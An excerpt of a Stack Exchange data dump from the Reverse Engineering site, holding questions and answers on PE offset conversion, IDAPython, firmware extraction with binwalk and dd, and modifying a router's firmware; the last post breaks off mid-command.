  <row Id="8050" PostTypeId="1" AcceptedAnswerId="8053" CreationDate="2015-01-19T10:45:41.717" Score="17" ViewCount="7052" Body="&lt;p&gt;This is a very silly question, but surprisingly I've had a problem with this today.&#xA;In a hex editor, I've found an offset and I wanted to take a look at that code in a disassembler. In the hex-editor, the offset is EBE75, and it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QmuKd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously a CALL, I wanted to find it in IDA/Olly and take a look. This is, however, where I wasn't sure how to translate that to an offset that IDA/Olly could understand. Do I add the imagebase, or maybe the offset of the .text section? I've managed to find the code using IDA's hexscan, and it's located at address &lt;code&gt;004ECA75&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/flPcg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference between these addresses is &lt;code&gt;4ECA75 - EBE75 = 400C00&lt;/code&gt;. This is quite surprising to me, where did that number come from? How is this related to the .exe's layout?&lt;/p&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2015-01-22T14:29:19.993" Title="&quot;Raw&quot; offsets to &quot;disassembler&quot; offsets?" Tags="|hex|offset|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8051" PostTypeId="1" AcceptedAnswerId="8061" CreationDate="2015-01-19T12:42:04.713" Score="5" ViewCount="3434" Body="&lt;p&gt;I'm debugging an IDAPython script on my host machine and I have IDA running on my Windows VM. The folder containing the IDAPython script on the host machine is shared with the VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first time I run the IDAPython script in IDA it works fine. However, for subsequent runs a cached version of the script seems to be running. I end up having to close and re-start IDA in order for the changes to get loaded up. Is there an easier way? I run scripts as &lt;code&gt;File &amp;gt; Open Script file.&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2022-10-23T17:12:16.833" Title="IDAPython script does not reload" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8052" PostTypeId="2" ParentId="4" CreationDate="2015-01-19T14:19:29.213" Score="1" Body="&lt;p&gt;As others have said, I usually look for a function call where a reference is passed - but I also look for instances where a malloc'ed buffer is returned (this is how you know/confirm the size of the structure) - and various members of the 'buffer' are set/initialized.&lt;/p&gt;&#xA;" OwnerUserId="11528" LastActivityDate="2015-01-19T14:19:29.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8053" PostTypeId="2" ParentId="8050" CreationDate="2015-01-19T14:35:17.140" Score="17" Body="&lt;p&gt;To convert a raw offset in a PE file to its corresponding &quot;disassembler offset&quot; (known as the virtual address or VA), you need to perform the following steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a PE editor, look at the PE file's section table to find the section containing the file offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say your PE file's section table looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------+&#xA;|  Name  | Virtual Address | Virtual Size | Raw Offset | Raw Size |&#xA;|--------+-----------------+--------------+------------+----------|&#xA;| .text  |    00001000     |   00152CA1   |  00000400  | 00152E00 |&#xA;| .data  |    00154000     |   000040C0   |  00153200  | 00004200 |&#xA;| .rsrc  |    00159000     |   00062798   |  00157400  | 00062800 |&#xA;| .reloc |    001BC000     |   00003B3C   |  001B9C00  | 00003C00 |&#xA;+-----------------------------------------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see above that the section containing raw offset &lt;code&gt;EBE75&lt;/code&gt; is the &lt;code&gt;.text&lt;/code&gt; section, since &lt;code&gt;00000400 &amp;lt;= EBE75 &amp;lt; 00153200&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a PE editor, look up the PE file's image base. For example, let's say your file's image base is &lt;code&gt;00400000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perform the following calculation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(target raw offset) - (raw offset of section) + (virtual address of section) + (image base)&#xA;= (target virtual address)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Filling in the example values above, we find that the virtual address for raw offset &lt;code&gt;EBE75&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EBE75 - 00000400 + 00001000 + 00400000&#xA;= 4ECA75&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-01-22T14:29:19.993" LastActivityDate="2015-01-22T14:29:19.993" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8057" PostTypeId="2" ParentId="8050" CreationDate="2015-01-19T19:17:57.927" Score="2" Body="&lt;p&gt;&lt;strong&gt;ollydbg 1.10&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you have &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the binary loaded in ollydbg&lt;/li&gt;&#xA;&lt;li&gt;disasm window is in the correct module&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the binary is also open in hexeditor    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Right Click -&gt; View -&gt; Executable File&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the New Window do &lt;code&gt;ctrl+g&lt;/code&gt; and enter the offset you saw in hexeditor &lt;code&gt;ebe75&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;right click in new window -&amp;gt; follow in disassembler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in hexeditor 0x1529 has the 0xe8 opcode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxd -s 0x1520 -l 0x10 -g 1 c:\WINDOWS\system32\calc.exe&#xA;0001520: ff d6 6a 01 a3 4c 4d 01 01 e8 e9 f8 ff ff 6a 69  ..j..LM.......ji&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;in ollydbg after rightclick-&gt; view -&gt; executable file and ctrl+g 1520 in new window&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00001520    FFD6            CALL    NEAR ESI&#xA;00001522    6A 01           PUSH    1&#xA;00001524    A3 4C4D0101     MOV     DWORD PTR DS:[1014D4C], EAX&#xA;00001529    E8 E9F8FFFF     CALL    00000E17&#xA;0000152E    6A 69           PUSH    69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;in new window rightclick -&gt; view image in disassembler&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01002120  |.  FFD6                   CALL    NEAR ESI                         ; \GetProfileIntW&#xA;01002122  |.  6A 01                  PUSH    1                                ; /Arg1 = 00000001&#xA;01002124  |.  A3 4C4D0101            MOV     DWORD PTR DS:[gbUseSep], EAX     ; |&#xA;01002129  |.  E8 E9F8FFFF            CALL    InitSciCalc                      ; \InitSciCalc&#xA;0100212E  |.  6A 69                  PUSH    69                               ; /TableName = 69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-01-19T19:17:57.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8058" PostTypeId="1" AcceptedAnswerId="8059" CreationDate="2015-01-19T19:57:49.493" Score="1" ViewCount="158" Body="&lt;p&gt;In advance, I'd say I'm learning reverse engineering newly.&#xA;Indeed, there are some questions to be asked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all I would ask : In assembly level of the applications which use GUI ,how things like forms,buttons,etc are represented ? For example, when we can find out a button is clicked and things like that ? In all languages which support GUI they use same API for buttons or forms or ... ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there's an another question in the other side of reversing(from Export tables addresses):&#xA;Consider the example of a program which has two export address (for example start and a debug checker) which they're declared as public in the disassembled approach, so how we can figure out which one would be executed at first ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all.  &lt;/p&gt;&#xA;" OwnerUserId="10428" LastActivityDate="2015-01-19T20:16:42.577" Title="GUI represention in assembly level and another question" Tags="|ida|disassembly|debugging|winapi|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8059" PostTypeId="2" ParentId="8058" CreationDate="2015-01-19T20:16:42.577" Score="6" Body="&lt;p&gt;welcome to the Reverse Engineering SE!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, your question isn't written very well. You shouldn't try to put two different questions into one, because that makes it more difficult to give a good answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, both parts of your question should probably go better to stackoverflow, as both of them are more about software development than about reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a rule of thumb, you can't reverse anything that you can't build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should get acquainted with various GUI frameworks - plain Windows, &lt;code&gt;MFC&lt;/code&gt;, &lt;code&gt;.net&lt;/code&gt;, &lt;code&gt;delphi&lt;/code&gt;. &lt;code&gt;java swing&lt;/code&gt;, &lt;code&gt;gtk&lt;/code&gt;, &lt;code&gt;qt&lt;/code&gt;, &lt;code&gt;wxwidgets&lt;/code&gt;) to find out how they work, which differences there are, and which things they have in common. Then, you'll probably be able to identify which framework a program you're trying to reverse uses, and you'll be able to identify the patterns how they are used. But unless you've written a few programs in at least some of them, you wouldn't even understand other programs if you had their source code, much less if you have the binaries. So get some experience there first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, import and export addresses aren't about where the program starts; they're about putting .dll libraries and the program together before it's being executed. You should learn about dynamic linking and creating DLLs before trying to reverse them. The program entry point is defined in the headers of the program, and it doesn't have anything to do with exports and imports.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-01-19T20:16:42.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8061" PostTypeId="2" ParentId="8051" CreationDate="2015-01-20T08:31:42.267" Score="4" Body="&lt;p&gt;You can use &lt;code&gt;idaapi.require(&amp;quot;module_name&amp;quot;)&lt;/code&gt; to reload the script.&#xA;There is more information about it in the HexBlog article, &lt;a href=&quot;https://hex-rays.com/blog/loading-your-own-modules-from-your-idapython-scripts-with-idaapi-require/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Loading your own modules from your IDAPython scripts with idaapi.require()&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="42253" LastEditDate="2022-10-23T17:12:16.833" LastActivityDate="2022-10-23T17:12:16.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8062" PostTypeId="2" ParentId="8035" CreationDate="2015-01-20T10:46:22.327" Score="4" Body="&lt;p&gt;You can use the bare board to &quot;buzz out&quot; the LEDS - using your favourite multimeter in continuity &quot;beep&quot; mode, stick one end on the LED drive sideand then drag it around the FPGA footprints until it pings at you.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to turn one of them one with a simple HDL file then, using JTAG to first identify the chips so you can build the right bitstream, and then to load the bitstream.  If the FPGAs are configured from JTAG programmable flash chips (Altera EPCs) you should be able to load those too.  If they are &quot;standard&quot; SPI flash devices, that'll be a bit more buzzing out to do once you've identified them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything else will require a clock.  Find a crystal oscillator on the board and bozz that out to the FPGA pins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should then be able to make an LED flash (the &quot;hello world&quot; of FPGA land!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buzzing out the Rx and Tx lines from the FTDI chip should then get you a potential terminal.  From there it should be dead easy (!)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;OK, so without a bare board to help...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is JTAG software which can scan the chain and tell you which signals are high and low, or drive individual pins high and low. This is commercial: &lt;a href=&quot;http://www.topjtag.com/probe/&quot; rel=&quot;nofollow&quot;&gt;http://www.topjtag.com/probe/&lt;/a&gt; - I'm sure there is some non-commercial open-source somewhere too, but can't find it at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to use this to step through all of the FPGA pins and find which one lights up the LEDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting an LED on the FTDI Rx and Tx pins, you should be able to light them up too, or make them go off if they are floating high. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same should also work for the crystal I imagine too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll be creating contention on each signal which is actually driven from the non_FPGA end each time you step through, but for short periods (even seconds) that should be fine.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2015-01-21T17:01:14.430" LastActivityDate="2015-01-21T17:01:14.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8063" PostTypeId="1" AcceptedAnswerId="8080" CreationDate="2015-01-20T15:17:12.570" Score="6" ViewCount="34229" Body="&lt;p&gt;I have a firmware image that is used for flashing a BMW NBT navigation system that I want to research. I did a binwalk on the file (dump below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to extract the individual files, especially the ELF files and the LZMA compressed files. Can this be done with objcopy and dd ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A small example would be great.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;114           0x72            XML document, version: &quot;1.0&quot;&#xA;8840          0x2288          ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;52909         0xCEAD          eCos RTOS string reference: &quot;ECOScheme COP1 V1.6&quot;&#xA;53692         0xD1BC          eCos RTOS string reference: &quot;ECOScheme COP1 V1.6&quot;&#xA;58157         0xE32D          ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;64383         0xFB7F          eCos RTOS string reference: &quot;ECOScheme COP1 V1.6&quot;&#xA;65035         0xFE0B          eCos RTOS string reference: &quot;ECOScheme COP1 V1.6&quot;&#xA;65611         0x1004B         eCos RTOS string reference: &quot;ECOScheme COP1 V1.6&quot;&#xA;66263         0x102D7         eCos RTOS string reference: &quot;ECOScheme COP1 V1.6&quot;&#xA;68264         0x10AA8         ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)&#xA;105904        0x19DB0         LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;254206        0x3E0FE         ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)&#xA;1672272       0x198450        eCos RTOS string reference: &quot;ECOScheme COP1 V1.6&quot;&#xA;1865538       0x1C7742        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;1873098       0x1C94CA        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;1884709       0x1CC225        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;1884817       0x1CC291        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;1895380       0x1CEBD4        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;1976563       0x1E28F3        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;1994774       0x1E7016        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2067424       0x1F8BE0        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2109540       0x203064        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2190676       0x216D54        LZMA compressed data, properties: 0x5E, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes&#xA;2191505       0x217091        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2322380       0x236FCC        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;2322488       0x237038        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2325714       0x237CD2        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2341002       0x23B88A        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes&#xA;2341757       0x23BB7D        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2416921       0x24E119        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2420792       0x24F038        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2497195       0x261AAB        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2668975       0x28B9AF        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2769589       0x2A42B5        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;2848565       0x2B7735        LZMA compressed data, properties: 0x5E, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes&#xA;2849037       0x2B790D        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;3035059       0x2E4FB3        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;3064068       0x2EC104        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;3109994       0x2F746A        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;3138482       0x2FE3B2        LZMA compressed data, properties: 0x5E, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes&#xA;3139318       0x2FE6F6        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;3351394       0x332362        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;3383710       0x33A19E        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;3388738       0x33B542        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;3488674       0x353BA2        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;3537093       0x35F8C5        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;3537201       0x35F931        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;3551343       0x36306F        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;3557569       0x3648C1        eCos RTOS string reference: &quot;ECOScheme COP1 V1.6&quot;&#xA;3558221       0x364B4D        eCos RTOS string reference: &quot;ECOScheme COP1 V1.6&quot;&#xA;3558797       0x364D8D        eCos RTOS string reference: &quot;ECOScheme COP1 V1.6&quot;&#xA;3559449       0x365019        eCos RTOS string reference: &quot;ECOScheme COP1 V1.6&quot;&#xA;3561455       0x3657EF        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;4111948       0x3EBE4C        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;4313272       0x41D0B8        eCos RTOS string reference: &quot;ECOScheme&quot;&#xA;4571691       0x45C22B        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;4571799       0x45C297        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;4574094       0x45CB8E        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit&#xA;4653693       0x47027D        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;4671701       0x4748D5        LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, missing uncompressed size&#xA;6264853       0x5F9815        LZMA compressed data, properties: 0x90, dictionary size: 16777216 bytes, uncompressed size: 9995975 bytes&#xA;6655733       0x658EF5        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;6656288       0x659120        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;6663431       0x65AD07        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit&#xA;6985016       0x6A9538        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes&#xA;6985572       0x6A9764        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;7350538       0x70290A        LZMA compressed data, properties: 0xD8, dictionary size: 16777216 bytes, uncompressed size: 203703495 bytes&#xA;7436659       0x717973        Copyright string: &quot; 1995-2005 Jean-loup Gailly valid block type&quot;&#xA;7441843       0x718DB3        Copyright string: &quot; 1995-2005 Mark Adler &quot;&#xA;7475248       0x721030        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes&#xA;7475807       0x72125F        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;7489707       0x7248AB        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;7490222       0x724AAE        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;8328766       0x7F163E        LZMA compressed data, properties: 0xC7, dictionary size: 4194304 bytes, uncompressed size: 272680704 bytes&#xA;9051574       0x8A1DB6        Ubiquiti partition header, header size: 56 bytes, name: &quot;ICLE&quot;, base address: 0x00000000, data size: 0 bytes&#xA;9298202       0x8DE11A        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;9298762       0x8DE34A        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;9307694       0x8E062E        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;9308222       0x8E083E        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;9335661       0x8E736D        Copyright string: &quot; 1995-2005 Mark Adler &quot;&#xA;9338719       0x8E7F5F        LZMA compressed data, properties: 0x5D, dictionary size: 262144 bytes, missing uncompressed size&#xA;9339847       0x8E83C7        LZMA compressed data, properties: 0x5D, dictionary size: 524288 bytes, missing uncompressed size&#xA;9339990       0x8E8456        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;9340503       0x8E8657        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;9921653       0x976475        eCos RTOS string reference: &quot;ECOScheme Version. COP1 (Version 1.6 or greater) supported.&quot;&#xA;9924189       0x976E5D        eCos RTOS string reference: &quot;ECOScheme Version. Version 1.6 or greater supported.&quot;&#xA;9974124       0x98316C        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 10835 bytes&#xA;10064980      0x999454        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)&#xA;10079707      0x99CDDB        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit&#xA;10171624      0x9B34E8        eCos RTOS string reference: &quot;eCost&quot;&#xA;11268739      0xABF283        LZMA compressed data, properties: 0xC7, dictionary size: 4194304 bytes, uncompressed size: 272680704 bytes&#xA;11269511      0xABF587        LZMA compressed data, properties: 0xC7, dictionary size: 4194304 bytes, uncompressed size: 272680704 bytes&#xA;12395860      0xBD2554        XML document, version: &quot;1.0&quot;&#xA;12747285      0xC28215        Copyright string: &quot; (C) 2010. Hitachi ULSI Systems Co.,Ltd. Co.,Ltd.&quot;&#xA;12747445      0xC282B5        Copyright string: &quot; (C) 2009. Hitachi ULSI Systems Co.,Ltd. Co.,Ltd.&quot;&#xA;12758672      0xC2AE90        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="99" LastActivityDate="2015-01-22T18:51:39.697" Title="Extract files from a bin firmware" Tags="|binary-analysis|embedded|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8064" PostTypeId="2" ParentId="8063" CreationDate="2015-01-20T16:10:52.580" Score="12" Body="&lt;p&gt;Since version 0.50, &lt;code&gt;binwalk&lt;/code&gt; has a -e option to extract files. Unfortunately, the manual doesn't tell you this, but if you invoke &lt;code&gt;binwalk -version&lt;/code&gt;, it tells you&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-e, --extract=[file]          Automatically extract known file types. Load rules from file, if specified.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you can use dd as well. For example, if you want the executable at 68264, calculate its size first (105904-68264=37640), then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ dd if=myfile.bin of=executable.so bs=1 skip=68264 count=37640&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Repeat with other contents as needed.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-01-20T16:10:52.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8065" PostTypeId="1" CreationDate="2015-01-20T17:12:44.123" Score="1" ViewCount="1557" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;&lt;a href=&quot;https://unix.stackexchange.com/questions/179593/decompile-run-mips-executable-under-x86-64-ubuntu&quot;&gt;X-POST FROM unix.stackexchange.com&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently trying to make modifications to a router firmware: Swisscom Centro Grande - aka Pirelli Vx226N1, firmware version: 60200.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've decompiled it successfully with &lt;a href=&quot;https://code.google.com/p/firmware-mod-kit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;FMK v0.99&lt;/a&gt; and got the &lt;code&gt;header.img&lt;/code&gt;, the &lt;code&gt;rootfs.img&lt;/code&gt; and the &lt;code&gt;footer.img&lt;/code&gt; image parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the binwalk of rootfs.img:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Squashfs filesystem, little endian, non-standard signature,  version 4.0, compression:gzip, size: 2764423 bytes,  1145 inodes, blocksize: 65536 bytes, created: Fri Mar 15 00:33:08 2013&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I decompiled the rootfs.img with unsquashfs succesfully and got the system folders. I made some changes (enabled a shell on telnet) and tried to repack everything with the tools provided (the &lt;code&gt;./build-firmware.sh&lt;/code&gt; command).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final firmware size was bigger than the original one.&#xA;Tried to falsh, nothing happened.&#xA;I analyzed the firmware and especially the upgrade method to learn how to properly build the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the &lt;code&gt;update.sh&lt;/code&gt; file which handles the upgrade process (analyzes the file provided by the user and flashes only if everything is correct, in order to prevent brick)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/f8N0fFaf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the link to the pastebin of that file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure that the original firmware files are parsed through the &lt;code&gt;parse_yaps_image()&lt;/code&gt; function, so I tried adapting on my own to check the files but I noticed that there was an external check with a binary file called &lt;code&gt;sig_verify&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the files doesn't exists another function is invoked, the problem is that the function provided isn't correct (it return a &lt;code&gt;wrong validation token&lt;/code&gt; error even with original firmwares!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to analyze the &lt;code&gt;sig_verify&lt;/code&gt; file and look for the algorithm, in order to understand the composition method and in order to flash my router in the proper way and finally get the root shell (and make modification on everything I want)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded all files on a &lt;a href=&quot;https://mega.co.nz/#F!kxtzXaJJ!bDdnA1Q5WLu_broLeHVwyg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mega folder&lt;/a&gt; so the interesed guys who wanna help me could access any file needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I included in the folder 60208 the two scripts I used to check the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of the script I wrote (it's just the adaptation of the script in the router) is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;denys@denys-pc:~/Documents/router/Vx226N1/images/modified/60208$ ./check_upgrade_yaps.sh &#xA;Parsing YAPS format...&#xA;16+0 records in&#xA;16+0 records out&#xA;16 bytes (16 B) copied, 0.000843843 s, 19.0 kB/s&#xA;Error: wrong validation token (5b445d3b251d59753031c9d7a94ba4ab, 7d98668859855f1b9459256257fc3262)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the binwalk of &lt;code&gt;sig_verify&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;denys@denys-pc:~/Documents/router/Vx226N1/images/modified/60208$ binwalk 